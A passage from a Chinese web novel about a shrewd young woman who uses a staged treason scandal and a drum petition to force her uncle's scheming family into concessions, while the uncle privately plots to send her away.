“这场突如其来的大火就像压死骆驼的最后一根稻草,它彻底激化了徐家妯娌的矛盾,这矛盾终于让她们可以看见一些从前她们看不见的,于是,我走进了徐大夫人的眼睛里,成为她东风压倒西风的一把利器。”
“所以,我才可以侥幸活到你们看见县报的时候,侥幸活到这份报纸已经追无可追挽回不了的时候,侥幸活到你们思量尔后发现我还是活着,对你们更有利的时候。”
“尊贵的老爷啊,我能活着坐在这里跟您说上一句话,已经近乎精疲力尽了。”魏兰蕴轻轻叹息,她手抚着胸口轻轻吐出一口气,美人如兰似玉。
雨渐渐变小了。
小到能听见夜风中铜铃摇曳的声音,沾湿的落叶被风吹到铃铛上,满铜的铃芯儿一打,是沉闷恰如现在东抱厦二人之间的声音。
魏三老爷是讶异的。
当魏三老爷发现,平日里温婉的妾室背地里却是一副蛇蝎面孔的时候,魏三老爷也是讶异的,但是那般的讶异并不如同这般的讶异,这般的讶异多了些别的东西。
在惊觉这个素日寡言的侄女也有着一张七窍玲珑嘴之后,魏三老爷还惊奇地发现,她有着他们这些男人一般的聪颖。
但这讶异只持续了一瞬,仅在片刻之后,魏三老爷便神色如常,他恰如魏兰蕴一样叹息,而后悠悠地说道:“但又能怎么样呢?”
“现在烧起来的是通敌叛国的火,不是奠仪婚事的风,公堂之上,不会有人问你是怎么挑拨的徐家妯娌的关系,也不会有人问你是怎么从清水潭徐家逃了出去,一个可怜的杀人犯也是杀人犯,如果你想着借由徐家这件事威胁我,亦或是将魏家拖下水……”
魏三老爷停滞一瞬,话音又一转。
“安有巢毁而卵不破乎的道理想必你也明白,我也不跟你讲这样的道理。”
“魏家在银湾扎根十余年,我上有父兄稳坐京师朝堂,下有族亲盘桓三六九教,县尊是我乙酉同窗,丹州府路司巡检是我兄长门下,你是我兄长患了疯病的女儿,今日你说的疯话,不会传出银湾一个字。”
这是魏三老爷早已想好的说辞。
疯病。
是的疯病。
在魏兰蕴架起了这个戏台子,并且让一切都下不来台之后,魏三老爷早就想好了怎么说,怎么做。
她肆无忌惮地编造的语言,正是她患了疯病最好的佐证,而疯病,会成为她所述清水潭徐家事最好的因果。
这一切的一切都是因为她是一个疯子。
没有人会相信一个疯子的话。
她自以为刺向别人最锋利的尖刀,其实刺向的是她自己,她自以为最有利的底牌,其实早就被她所制造的尖刀刺得粉碎。
当然,疯病也是今日闹剧收场的最好说辞。
疯子干出什么事来都很正常,有人会迁怒一个疯子,但没有人会因为一个疯子,而迁怒其背后的家族,就算是朝堂之上有人参奏弹劾,疯病一词,也足以让魏家全须全尾从今日这件事中脱身。
“这天下自古以来就只有巢击卵破的事情,没有卵击巢毁的道理。”魏三老爷盘动手里的核桃,悠悠说道。
“哎呀,那可怎么办呀?”魏兰蕴捧着心口,语气似乎很惊讶,而眼睛却是淡淡的,她甚至还在看池塘里的鲤鱼。
县衙门口忽的有什么动静。
魏三老爷紧张了起来,他没敢再小觑魏兰蕴,循着声音看去——
18. 有雁去信(八)
鼓被敲响了。
那只经年没有人用过的、发霉的、落灰的、蜘蛛在灰上结网的鼓,陡然被人敲响了,鼓面震起了波浪,蜘蛛掉下了网。
敲响它的是一个女子。
是一个荆钗布裙的中年妇人,腰间还系着件围衿,额头上绑了一块灰布,灰布是吸汗用的,是为了防止额上的汗液滴进眼睛里,平日常干粗累活的人会这样打扮,例如田间的农人、搬货的小工、亦或是……杀猪的匠人。
魏三老爷几乎是即刻便想到了那个女人,他的大嫂。
那个女人从前就是这样的打扮,荆钗布裙围衿灰布,手指粗糙的仿若十根从地里刚拔出来的萝卜,脸颊上沾着干涸的猪血水,身上是永远洗不干净的猪臊味。
他这个侄女又想做什么?
魏三老爷不敢暴露出一丝心虚,他强装了镇定看着魏兰蕴,她方才那般自若,必然是留有后手,现在看来,只怕后手就在此处。
无论如何,魏伯兴苛待发妻是板上钉钉无可磨灭的事情,魏家千里堤坝上唯有的蚁穴便是此事,此时此刻,对于发妻之女、同样被他们苛待的魏兰蕴来说,没有什么比这件事更好拿出来用的了。
人死如灯灭,死人当不成疯子,死掉的人是完美的受害者,死掉的人是一把真正的尖刀,应是母慈重(注),魏三老爷感慨极了,谁又能想到她十三年前已经死掉的母亲,会在十三年后,以这样一种方式,化为一柄尖刀保护她。
鼓声如雷霆。
没人预料到这架哑了经年的鼓会在今夜发出雷霆般的响声,街头巷尾人头攒动,周遭的百姓打着油伞带着帷帽探出头来看。
刘县尊已经歇下了,听闻鼓声,匆匆地披衣配冠赶来,他刚想斥责竖子安敢夜惊县衙,却在见到那只鼓的瞬间噤了声。
登闻鼓,登闻鼓,朝阳门外登闻鼓,众屧望天若无路,一响惊动天官府(注)。
敲了这只鼓,可就不是小事了。
魏三老爷示意小厮在刘县尊耳畔说了几句,刘县尊起初皱眉,后来眉头又舒展了开来,他略一撇西厢东厦,人便不急了,慢慢悠悠走了出去。
反正,这也已经不是一件小事了。
刘县尊走到了衙门口。
布裙妇人裙摆一掀,俯身跪下,高举诉状。
“民妇朱刘氏,在此欲诉诸官,还望青天,辨忠奸!”
轰的一声惊雷闪过,整个银湾城似乎都亮了一瞬。
魏三老爷被雷声所惊,打了一个寒颤,那妇人所说的朱刘氏,他就好似听见了魏刘氏一般,魏三老爷的背后渗出了细密的冷汗。
“魏三老爷。”魏兰蕴说话了,鲤鱼尾击了浮漪,她轻声说道,“我也有一封诉状。”
轰隆隆——
几道惊雷再次落下。
雷声之间,魏三老爷仿佛听见了魏兰蕴在说:“你又怎么知道,这不是我的诉状。”
-
魏三老爷在西厢房踱步。
他什么都没说。
面色阴沉得就像什么都说了。
魏三夫人是最能感知主君情绪的,她端着茶盏侍奉在主君身侧,却一句话都不敢说。
魏三夫人早就反应过来了。
就在第一个所谓叛国徒被缉捕下狱的时候,就在她意识到,周围所有人甚至连张大夫人,都没有如她一般的紧张与慌乱的时候,魏三夫人终于意识到,她被耍了。
她被魏兰蕴耍了。
她在众目睽睽之下丢人现眼,被魏兰蕴耍了。
在魏三夫人反应过来伊始,她近乎气得想冲入东抱厦,找魏兰蕴要个说法,可就在她支着扶手起身的时候,她又忽的泄下气来,重新跌坐回了椅子上。
连府中庶女都能看得明白的东西,她一个当家主母看不明白。
再闹,只能是更加丢人现眼罢了。
魏三夫人不敢再多说一句话。
魏三老爷接过魏三夫人侍奉的茶盏,端起来牛饮而尽,然后把茶盏又扔回魏三夫人怀里。
这是一个极不尊重人的举动。
但在魏三老爷看来,魏三夫人也没什么好被尊重的。
她蠢钝如猪的行为魏三老爷仍历历在目。
不过这个如猪一般蠢钝的妇人,唯一有的一点好处就是还有些眼力见,懂得几分察言观色的道理,她现在一句蠢话都没有说,是魏三老爷唯一值得欣慰的一点。
若她现在一个劲地追着魏三老爷问如何怎会。
魏三老爷想,只怕他会当场气绝过去,天要亡他魏家。
但这妇人若是稍微对魏兰蕴好一些,就不会干出那样的蠢事,魏兰蕴也想不起来她那早死的老娘,就不会有今天的麻烦事。
思及此处,魏三老爷又隐隐有些迁怒,看着魏三夫人的眼神更加的厌恶。
事情发展到现在,是真的有些麻烦了。
苛待发妻的事情就是一个天大的把柄,不爆发则矣,一爆发拿到朝堂上去,苛待发妻枉顾恩伦的罪名,足以让魏伯兴连降三级,甚至有余。
先大嫂已经死了很久了。
府中的老人也俱都换过好几轮。
像这样的旧事,如今知道的人也不剩几个,但魏三老爷总在担心,这样的关头,会不会就有他漏掉的人,拿着这样一件旧事,来给魏大老爷使绊子。
现在他的担心成真了。
还真的有一个他漏掉的人。
而这个人,还是爆出这件事,最合适的人。
魏三老爷并不想与魏兰蕴玉石俱焚,也不敢与魏兰蕴玉石俱焚,他近乎焦躁地来回踱步,思考不出一个合适的解决办法。
魏九芙也不想与魏兰蕴玉石俱焚。
魏家是魏九芙的巢,有了魏家,魏九芙才是魏九芙,而没了魏家,魏九芙什么都不是。
魏九芙早在魏三老爷一锤定音之时,就想明白了魏三老爷究竟想做什么,也在妇人敲响登闻鼓的时候,猜到了魏兰蕴想做什么。
事与事两军交战,把柄与把柄之间短兵相接。
魏九芙知道魏三老爷在焦躁些什么。
魏九芙也可以做些什么。
“父亲。”魏九芙提着裙摆起身,欣欣然对魏三老爷施了一礼,“女儿素来与大姐姐交好,或许女儿可以做些什么。”
-
魏九芙走进了东抱厦。
抱厦里是点着香炉的,螟蛉绕枝的铜香炉在抱厦的四角悠悠升着烟气,是松桂枝的香粉,魏九芙手揣进袖子里,合抱着这香气,走到了魏兰蕴身边。
“大姐姐。”魏九芙说道。
魏兰蕴在看池子里的鲤鱼,她没分给魏九芙一个眼神,也没与魏九芙说一句话。
魏九芙并不恼怒。
相反,她莫名地松了一口气。
双方已经撕破脸皮到这样的地步,她倒也可以不拘着说些什么,少装
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出那些温婉的懂事的可悲的庶女模样。
“大姐姐,你要告什么?”魏九芙开门见山。
高门里不愁吃喝的人说的话,少有这样开门见山的时候。
魏兰蕴有些讶异,她转头看了魏九芙一眼,轻轻地缓缓地道:“天下多有不平事,凡有不平,我皆可告。”
“大姐姐知道吗?”魏九芙清了清嗓子,挺直了胸膛抻住了脖子说道,“以子告父,以下告上,是逾矩,必先坐笞五十,而虽胜,亦判徙二千里(注1)。”
“银湾是魏家的银湾,五十下,亦或是一百五十下,只要计数的人看不见,总归是没有区别的。”魏九芙走近两步,她靠在魏兰蕴耳边,用只有二人可以听见的声音继续说道,“如果你要告的话,我们会让你在板笞的时候,暴毙。”
雨就快停了。
云快散去露出微弱的星光,鱼潜底了,夜深了,它要睡过去了,星火依偎着烛火打在魏兰蕴的脸上,魏九芙已经许多年没有正眼打量过魏兰蕴了。
她还是如同多年前一样,美得让人窒息。
魏九芙每次看着魏兰蕴都忍不住屏住呼吸,生怕粗重的呼吸惊扰了神仙妃子,魏九芙一直觉得,魏兰蕴不像是这个世界的人。
她在这个世界,还没有见过这么美的人。
县衙的班房里传来板笞的声音,还有凄厉的叫喊声,那是方才举诉状告青天的妇人。
大梁会典之刑律诉讼篇有载,凡击登闻鼓诉冤者,先廷杖三十,以验其情,凡挟私妄诉、摭拾细故者,杖一百,流三千里,鼓前张榜晓示,使知儆惕。
上达天听的登闻鼓从来就不是那么好敲的,板笞声一下、两下、三下,魏九芙对魏兰蕴挑了挑眉,眼神望了望班房的方向。
“大姐姐,听见了吗?或许下一个人,就是你。”魏九芙威胁道。
“我说过……”魏兰蕴终于开口了,她没看魏九芙,声音浅浅的,像是池塘里的涟漪,“我告的是他魏伯兴吗?”
魏九芙有些错愕,随即松下一口气来。
不告魏伯兴,那她还有什么可以拿捏他们的把柄?
魏九芙刚想说话,魏兰蕴又开口了,她沿着窗户踱步,星光洒在她的肩膀上,魏兰蕴轻轻说道:“那只猫,其实是你杀的吧。”
魏九芙愣住了,随即近乎是慌乱而口不择言了起来。
“哪又怎么样?私德之亏,如何奈我?”
一个小小的仅关乎私德的事情,在内宅来说是天大的事情,但是放到外面去说,这根本就不算什么事情。
它弹劾不了魏伯兴,也动摇不了魏家的根基,更没办法危及一个小小的庶女。
只是私德有亏罢了,顶多寻不了一户好人家嫁了,这甚至都不足以让魏家把她魏九芙赶出去。
魏九芙抻直了脖子,抬着下巴看向魏兰蕴。
“不是你想的这个意思。”魏兰蕴摇了摇头,“我的意思是,我比你想的,还要知道的多一些。”
“你什么意思?”魏九芙问道。
“我的意思是,魏家有很多人,有你,你的姊妹,你的父亲,你的叔伯婶母,还有你的祖父,或许我知道一些你知道但你以为我不知道的事情,或许我知道一些你不知道但是我知道的事情。”
魏兰蕴顿了顿,继续说道。
“你说,比苛待发妻还要更有用的罪名,是什么?那份诉状里面写的东西,又会是什么?”
19. 有雁去信(九)
魏九芙回到了西厢房。
她喘着粗气,胸膛一下一下地起伏着,她震撼极了,眼中还带着尚未消散的余韵,魏九芙一直以为她是魏家这一辈中,最为足智近妖的人,就在片刻之前。
“怎么样了?”
魏三老爷走上前来,关切地问道。
魏九芙定了定心神,露出一抹苦涩的笑,她什么都没说,但什么都已然说了,魏三老爷的脸耷拉了下来,他丝毫没有掩饰,露出极为失望的神色,魏九芙的眼被刺痛了一下,她敛了敛眸子,思索了一番,复又抬眼说道。
“父亲,你说,大姐姐在祖父身边十年,会不会知道什么,我们不知道的东西?”
魏九芙没怀疑魏兰蕴那番话的真实性。
魏兰蕴在被送回银湾之前,她在魏老太爷魏邕身边待了足足十年,老太爷亲自教养她,照顾她的起居,无论魏兰蕴想不想知道,她都会知道很多,他们不知道的事情。
巴掌大的头领屁股底下也没有清清白白的。
他们这些常年住在银湾的人,只知道魏伯兴苛待发妻这一条把柄,可谁又能知魏伯兴一路走来,到底做了多少事情,留了多少把柄在别人手上?而这些,魏兰蕴又知道多少?
魏三老爷沉默了。
他也想到了这一条。
魏三老爷的焦虑烦闷之情在这一刻陡然到了顶了,他松懈了下来,肩膀向前收着,他走着向前两步,然后撑着椅子的扶手,整个人缓缓塌在了椅子上。
“那让我去会会她!”
魏三夫人站起来了,她拍了拍衣摆的褶皱,正欲往抱厦走去。
两个人都折戟于魏兰蕴,这让魏三夫人觉得自己不得不站了出来,人多力量大,柴多火焰高,三个人总比两个人好,况且——
魏三夫人一直觉得,魏兰蕴不过就是一个小女孩子,能有什么厉害的?先前两人折戟无非是因为一个是主君,理不清这些内宅里边的弯弯绕绕,一个是庶女,懦弱无能的样子,自以为关系好说说情,就可以解决所有问题。
魏三夫人不一样。
她觉得她自己不一样。
她是经年来府上当家的夫人,没人比她更懂这些内宅的勾心斗角,由她来惩治一个不听话的女孩子,是最合适不过了,而她也正需要一个机会,来惩治这个不听话的女孩子,以雪她被蒙骗的前耻。
“你给我回来!”魏三老爷骂道,他毫不掩饰自己对魏三夫人的恶意,“事情如何都一知半解,你去干什么?胡搅蛮缠当泼妇吗?”
魏三夫人站在厢房门口。
她没想到魏三老爷会这么说她。
她也从没想过魏三老爷会这么说她。
她更没想过魏三老爷会当着一个小辈、一个庶女的面前,这么说她。
魏三夫人颜面扫地了。
她站在门口,背对着屋里的人,眼泪唰地就落下了,她不敢回头,泪水掉落在屋外的小径上,跟雨水混杂在一起。
“算了,我再去一趟罢了。”
魏三老爷站起身来,他背着手,擦着魏三夫人的肩朝外走去。
他想明白了。
说到底这世上很多事,其实论的不是真假对错,而是谁更敢不管不顾些。
魏兰蕴就是那个敢不管不顾的人。
从她敢带着她的老爹跟她一起蹲大牢的那一刻开始,他们这边就注定输了,鸡蛋握在魏兰蕴的手心上,蛋碎与不碎都在魏兰蕴一念之间。
他们不敢让蛋碎了。
他们注定输了。
-
魏三老爷回到了东抱厦。
终于,这个高傲的老爷低下了他的头颅,他平静地跪坐在魏兰蕴身前,抬眸与魏兰蕴相视,魏兰蕴终于能与他平等地坐着,魏兰蕴终于出现在了他的眼睛里。
凭几上放着一方茶具。
魏兰蕴极其熟稔地击茶碾茶,小轮在茶碾上发出细碎的沙沙声。
“我还记得,你刚出生的时候。”魏三老爷看着魏兰蕴,仿佛在透过她,看着十五年前小小的那个女婴,“嘉和癸酉六年二月初七,约莫是隅时初的时候,你出生了。”
“那是一个艳阳天,太阳照的热烈,产婆用全家最好的一张褥子,把你裹着,将你从屋子里抱出来,你是小小的粉粉的一团,在我怀里的时候还会在吐泡泡。”
“那是我第一次抱一个孩子,那会我害怕极了,我抱着你,手和脚都不知道怎么用力,不过一会儿你就在我怀里哭了,我那时候急坏了,我说这可怎么办才好?”
“二哥说你定是饿了,于是他急匆匆地翻墙,偷偷去邻居家的牛棚挤奶,结果没想到邻居家的牛没下过牛崽子,没奶,他给牛的后腿踢了一脚,屁股正好跌坐在一块牛粪上。”
“我俩忙了好一会,产婆才复从屋子里出来,她把我和二哥说了一顿,然后抱着你又进去了,大嫂在屋子里面喂奶,但没喂上多久,那会咱家里穷,大嫂也要干活,大嫂必须干活,所以出了月子你便断奶了。”
“大嫂买了一头母羊回来,母羊奶水不够,你常常饿得在屋里哭,大哥抱着你蘸着米汤喂你,那会我就在想,我一定要好好读书,我要金榜题名,我要光宗耀祖,我再也不要让你挨饿,让咱家的孩子挨饿。”
“可我最后还是让你挨饿了。”
魏三老爷抚摸着魏兰蕴的脸,他又想起了那些日子,粉团子的女孩在襁褓里扯着嗓子哭,哭得魏三老爷心都要碎了,哭得魏三老爷觉得他是世界上最无能的人,他让一个孩子挨了饿。
“对不起。”魏三老爷说道,他的眼睛里闪着泪光。
是从什么时候开始变了呢?
魏三老爷也说不明白。
他曾经是真心实意爱过这个孩子,想要把世界上的一切都捧给这个孩子,可到底是什么时候变了呢?他不再爱这些孩子,不单是魏兰蕴,而是他身边所有的孩子,他的爱掺杂了很多别的东西,再也没有纯粹过,似乎就是从他成为了一个老爷的时候起。
他在外边权衡利弊虚情假意久了,近乎都忘了去怎么当一个纯粹的人,他把在外面的那一套带到了家里,可他忘记了,家里的不是别人,而是他的家人。
魏兰蕴做好了一盏茶。
她把茶盏推到了魏三老爷面前,她没有说话。
魏三老爷滴下一滴眼泪来,眼泪落在茶盏里边,魏三老爷眼眶尽红了,他佝偻着背,叹息说道:“我知道你怨叔父,你怨你父亲,你恨不得我们这些混蛋都下了地狱去,但是,你也要想想你自己,孩子。”
“叔父不是在劝你。”魏三老爷循循善诱,“我只是在告诉你,你是一个既漂亮又聪明的孩子,你的人生还有很长,你接下来还会遇见很多坏的事情和坏的人,但是你始终是你,你没有必要为那些坏的事和坏的人搭上自己的一生,你的未来是灿烂而美好的。”
“魏家倒下了,对你而言没有好处,但魏家不倒,就凭你的阁臣父亲,
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你可以寻到一门很好的亲事,嫁到别人家去,当别人家说一不二的大夫人,再生几个冰雪聪明,就和你一样的孩子,你的人生会过得很好。”
“真的吗?”
魏兰蕴又做好了一盏茶,她低头抿了一口,随后抬头问道。
她的神色很平淡,魏三老爷看不出她的想法。
“真的。”魏三老爷诚恳地道,“七天后就是你参加县试的日子,考官是叔父同窗,他会帮你的,况且你就像你父亲一样聪明,不需要帮忙,你也一定会考得上,何必要让这些坏人坏事影响了你的前途?人生,是你自己的。”
魏兰蕴笑出了声。
她也不知道她自己为什么笑,她只是觉得好笑。
前一秒是仇敌,这一秒是亲人,前一秒不死不休,这一秒荣辱与共。
这些浸在名利场久了的老爷是这样的,他们就像一台精准计算的机器一样,能迅速权衡利弊找出最合适的解决办法,亲情爱情友情,对他们来说都是可以计算的对象,他们甚至可以自己骗过自己,让自己以为自己真的是一个多重情重义的对象。
“可是,现在已经收不了场了呀。”
魏兰蕴望向窗外,人潮涌动的县衙牢房传来低低切切的吵嚷声,班房里是断断续续的板笞声,银湾陡然戒严了两个时辰,全城的人都知道城里有一个敌国奸细,事情发展到这一步,是轻易收不了场的。
魏三老爷顿住了。
魏兰蕴手指叩击着凭几的木面,发出有节律的笃笃声,魏兰蕴微笑着看着魏三老爷。
良久,魏三老爷开口说道:“你是我的亲侄女,你和我之间是血浓于水的亲人,先前的事情,是叔父做错了,叔父向你说一声抱歉。”
“你放心,叔父会保护你的,这件事情不会伤害得了你分毫,处理好这件事之后,我们回家好吗?咱们回家顺顺利利去参加县试去,考个功名下来,让他们看看我魏家女儿的厉害!”魏三老爷用几乎哄孩子的语气说道。
魏兰蕴没想过要魏家倾颓。
她也没想过要让她所谓的父亲,魏家的大老爷魏伯兴下来。
她深知在这样一个封建的世界里面,家族和家族的人,就像是枝繁茂密的大树和枝干之间的关系,大树死了,枝干焉存?
她不是没有这棵树就活不了的人,但行路之中,没有这棵树比有这棵树会难上千倍万倍。
魏兰蕴不是一个拘泥于爱恨情仇的人。
她之所以要站在这个地方,和这些人周旋一番这样的话,是因为她要回家,她要顺顺利利一片坦途地回家,她要走进这些人的眼睛里,她要这些人不再蔑视她。
香炉里的香燃尽了。
浓郁的桂枝气息里面夹杂着一丝土壤般的苦气,就与清水潭徐家的味道一模一样,它夹了几株曼陀罗草,茶水荡起了波纹,这茶的味道也与寻常的茶的味道不同些,它更甘甜,它加了些许地锦草。
曼陀罗使人神经麻木,地锦草使人兴奋。
两株草加在一起会让人的情绪在无知无觉中调动起来,会让人的情绪不动脑子便调动起来,它们会让人生乱。
穷则生乱,乱则生变。
而变,则是一无所有的魏兰蕴,能在这个封建世界里面,抓住的唯一的东西。
系统的进度条如同春夜里勃发的草木一般增长。
现在,她的目的已经达到了。
“好啊。”
魏兰蕴她说。
20. 有雁去信(十)
魏三老爷走出了东抱厦。
在稳定了这个并不稳定的变数之后,魏三老爷砰砰直跳的心脏,终于安静了下来。
魏三老爷没有回西厢房,他沿着山水园景走了一会,直到那座先前看不见的假山停下。
这是一座奇巧的山景,工匠的心思也巧极,魏三老爷沿着抱厦出去,绕过池塘柳木,移步换景假山乍现,有种豁然一新的感觉。
只是现在魏三老爷没有心思赏景。
董管家跟随在魏三老爷身侧。
这是在魏家做了十余年的老管家了,他曾经是一个识得几个字的书生,久考不中功名后,爹死了,为了葬爹,董管家卖身签的死契进了魏家,然后一路做到了管家。
董管家是一个极为聪明的人,他与这个宅子里别的主子都不亲近,他是死死忠诚于魏三老爷的大管家。
假山的缝隙里还能看见西厢房的一影。
烛火打在窗纸上。
魏三老爷能看见三夫人在厢房里面走来走去。
魏三夫人焦急极了。
虽然她想不明白这件事的弯弯绕绕,但主君如此焦急,她便急主君所急,哪怕在主君看不见的地方,她依旧在焦急的踱步。
这样一个放得下身段体贴入微的女子,其实做一个妾室,是极为合适的。
但他错就错在让她当上了正妻,掌了管家大权,统管了整个宅子。
她不适合,也没这个脑子。
从一开始做错的人就是她。
如果魏三夫人稍微聪明一点,她就知道将魏兰蕴卖给徐家是蠢事中的蠢事,她就不会做,也就不会有今天的麻烦事。
这一切的一切都要归咎于她。
千丈之堤,以蝼蚁之穴溃,百尺之室,以突隙之烟焚(注1),魏三夫人做过很多蠢事,她每一次都哭求着说下一次一定改过,但每一次都没有改过,从前魏三老爷只是觉得事小,并不过多在意,然则小事酿成大事,最终她还是闯了大祸。
今日的祸事能平,那来日呢?
来日她闯下更大的祸事的时候,谁来平?谁又能平?
不能让这蠢钝的妇人影响六郎的前程了。
魏三老爷已然下了决定。
“董管家。”魏三老爷说,“过几日,你带人请三夫人去庙观进香,打点好主持观主,送到之后,就莫让她再回来了。”
魏三老爷长叹了一口气。
他转身迈步去了正堂。
今日的这场闹剧还需要他去处理,无论如何,魏家是交不出,也是不能交出一个真的敌国奸细的,私德不佳,总好过公德有误。
魏三老爷已经想好了这场闹剧怎么解释。
魏家的当家夫人魏陈氏,为争抢一门婚事,先闹内宅事,后造家国事。
小户之女,寡见少闻,蚁穴溃堤而不闻,薪火燃厩既以为安,然则覆水难收,焦原燎野,致使街清巷锁,封城闭门,魏家愧歉之,乃囚其庙观不得出,苦行终日,以赎罪孽。
“对了。”魏三老爷忽的想起了什么,继续嘱咐道,“我修书一封,你亲自加急送到京里,让大哥亲手打开。”
这些天发生的事情,弯弯绕绕方方面面,是一定要告诉魏大老爷的。
“我会告诉大哥,我们已为兰姐儿找了一个好人家,待她县试考完之后,不用等到贴榜,便送她离家成婚。”魏三老爷说道。
董管家不解,但他最大的好处就是不会多问,他沉默着。
魏三老爷继续说道:“你找个媒人,在兖州给她找一个好人家,然后,将她平平安安送嫁到兖州去。”
兖州是大梁最北边的城池。
去岁才发了民乱。
送嫁的车队也许会在那里遭遇流民山匪,也许不会,不过侥幸在民乱山匪里面活下来也没有关系,兖州那么远,一个弱小的可怜的女孩子,一个被夫家禁锢住的女孩子。
是再也走不回来的。
魏三老爷早就决定了清蚁穴挖烂疮,那自然是所有吸附在魏家的蚁穴烂疮都要一起挖掉。
如果说魏三夫人是一个稳定的蠢货,那魏兰蕴就是一个并不稳定的聪明人,前者你只需要担心她时不时犯蠢给你惹点麻烦,后者你则是要提防她什么时候给你来上一刀。
魏三老爷信不过魏兰蕴。
骨肉之情是一回事,权衡利弊之后又是另一回事。
魏三老爷的记忆从不会作假,他当然是爱着这个女孩子的,但这并不妨碍他为了魏家的基业,将这个女孩子送出去。
“嫁妆多给她带上一点。”魏三老爷感慨道,“毕竟我答应过的,不会再让她挨饿了。”
-
数个雨日后,京都终于迎来了初春里的第一个晴天。
京城的魏家宅子里。
下人们来来往往,捧着小山似的书卷,穿梭在垂门长廊间。
她是一个入府没两年的小丫鬟,是从瞿州卖过来的一个乡下丫鬟,脸蛋红红的、圆圆的,像一只刚从树上摘下来的苹果。
苹果脸的小丫鬟端着书匣子,她侧身让过两个抬竹簟的小厮,穿过两道垂花门,自西南角处拐过来,进了瓯春轩。
瓯春轩里在晒书。
十余丈的素纱铺在地上,七八个丫鬟跪坐在地上,摊着古籍书页,并着三两个婆子跟在她们身后,拿着孔雀翎羽,一前一后地抚掉书上的蠹虫与灰尘。
丫鬟与婆子之间有一道倩影。
她穿着一身素白色带黑绞边的交领长袍,头发用一只青玉簪随意挽在脑后,衣袖用襻膊微微挽起,露出皓月一般的手腕,她按住一个丫鬟的手,眉间轻蹙,美人微嗔。
“这是经折装的书,是不能摊开晒的。”
美人用绫带束住书的中部,再用檀木夹板托底,她半开着书页,将书立在湘妃竹的架子上,她递了只竹镊子给丫鬟,温柔地说道。
“经折装的书要立起来晒,就像这样,好了,你接下来隔半个时辰用竹镊子翻一折,就可以了。”她的声音就好像是春日里轻轻拂过脸颊的微风。
苹果脸的小丫鬟一脸濡慕地看着她。
她是魏家的长房二娘子,宅子里的丫鬟们都说,二娘子是京城里最为温柔善良的娘子,是生了一张观音面的美娘子。
游廊上。
魏大老爷和魏大夫人挽着手,慈祥地看着下边晒书的魏棠宁,脸上带着笑意。
“咱家棠宁愈发懂事了。”魏大夫人的一双眼睛里满是自豪,她顿了顿,继续说道,“马上便是县试了,只盼咱们棠宁能中了,拿个大诰之后的头名才好!”
“中不中的倒无所谓,咱们魏家也不指着这点去,只要棠宁平平安安的,开心快乐便好了。”魏大老爷感叹道,眼里尽是对女儿的疼爱。
“倒也是了。”
魏大夫人点头,周身皆是从容的气韵。
她是保宁曲家的女儿,曾祖父是先太祖太傅,父亲就任都察院,母亲出身燮州张氏,她这样人家的女儿,确实不指着这点功名做添头。
“棠宁一片孝心,待在父亲身边,比我这个儿子都尽心尽力,好不容易盼来一个晴天,知道父亲心里最记挂的就是这些书,赶忙招呼了人替父亲晒书,我一个做儿子的,都没有这般细心周全,尽心尽力。”
这是魏大老爷最赞许魏棠宁的一点。
去岁魏老太爷因兖州事,雪天冒死进谏,老太爷从东直门被送回家的时候,人都僵直了,三两个大夫来看了都说不成,那时家里一片哀戚,甚至连丧仪都备下了。
可魏棠宁没有放弃,她还是坚持着,衣不解带地照顾着魏老太爷。
大夫说,老太爷本是活不成了,骤然槁苏暍醒,这是一番孝心感天动地。
如今正是魏大老爷至关重要的迁转之际,就算不论魏老太爷在朝中给他带来的莫大助益,就论此刻,若是魏大老爷因父亲去世丁忧三年,三年过后,朝廷里谁还会记得他?
若是错过这次入阁,谁知道他还会不会有下一次入阁的机会。
这个女儿当真是他的福星,不比从前的那个,三年前她将魏老太爷气得晕厥的场面,尚历历在目,魏老太爷一想到魏兰蕴,脸上挂着的笑容立刻僵硬了起来。
“这是我们棠宁应该做的。”
魏大夫人看着魏大老爷的神色,大抵也猜到他想到了什么。
三年前那事确实是奇怪。
先是魏兰蕴突然就病了,老太爷将她的院子里围满了人,不让人进去,然后,老太爷也突然不见了,他只给贴身照顾的忠伯留了个口信,便消失得杳无踪迹。
没人知道老太爷去了哪里。
更离奇的是,就在老太爷失踪约莫一旬后,在一个漆黑的雨夜里,魏老太爷又神出鬼没般出现在了宅子偏僻处的角门外,他驾着一架牛车,敲开了魏府的后门。
牛车挡得极为严实。
魏大夫人至今还记得,她拉开牛车一角见到那张熟悉的面孔,所发出的惊叫声。
车里面躺着的是熟睡的、高烧不止的魏兰蕴。
还是没有人知道,为什么这两个人本不该如此出现的人,会深夜出现在那里。
到家后两个人都病倒了。
一场大病祖孙俩近乎修养了三个月。
而就在三个月之后,魏兰蕴骤然与魏老太爷大吵了一架,气得老太爷当场晕厥,随后,老太爷便把魏兰蕴送到了银湾的宅子里。
再也没过问一句。
“还是咱们宁儿乖巧懂事。”魏大老爷拍了拍魏大夫人的手,摇头感叹道。
不远处,府里的下人带着董管家走上了游廊。
董管家是连夜赶来的,魏三老爷嘱咐他得加急,所以他来的路上不敢有半刻休息,马跑死了两匹,董管家的眼下是一片的乌青,他的面色憔悴极了。
他快步走到魏大老爷面前,先是躬身作揖,尊敬地唤了一声大老爷,随后解释了一番自己乍然入京的来由,最后,董管家将魏三老爷的信递呈至魏大老爷手上。
魏大老爷展信。
他的面色起初正常,随后逐渐严肃,再然后逐渐冷酷,最后,魏大老爷双眉紧蹙,眸色淬冰,隐隐有怒。
“怎么了?”
魏大夫人关切地问道。
魏大老爷没有说话,他将信递给了魏大夫人,魏大夫人接过信来,一目十行地看着,直到看见某一句话,魏大夫人不敢相信自己的眼睛,她惊讶地叫出声来,险些将信都掉了。
“怎么……怎么还会有这样的事情?”魏大夫人不敢置信。
“三老爷说,尔后事如何决断,还要请大老爷示下。”董管家恭敬地道。
魏大老爷知道他说的事什么事情。
魏三老爷在信里面已然写得很清楚了,他说虑及魏氏,将欲嫁魏兰蕴于兖州。
“这件事……”魏大老爷沉思片刻说道,“我倒是还要再想想。”
有些话有的人说得,有的人说不得。
孩子是魏大老爷亲生的,又不是魏三老爷亲生的,魏三老爷打着魏家的旗号提出这样的事情,总让魏大老爷琢磨出几分,不是亲生的难怪就不疼的味道来。
况且虎毒尚不食子。
虽说在银湾诸事里面,魏兰蕴并不无辜,但就魏三老爷所提出的,将她送嫁到兖州一事,魏大老爷还是无法立即决断。
“太爷怎么看呢?”魏大夫人忽的问道。
老太爷的脾气愈发古怪了。
虽说现在魏老太爷从不过问魏兰蕴,但毕竟魏兰蕴是魏老太爷亲手养大的孩子,嫁娶如此重要之事,若是不知会老太爷一声,就怕老太爷要震怒。
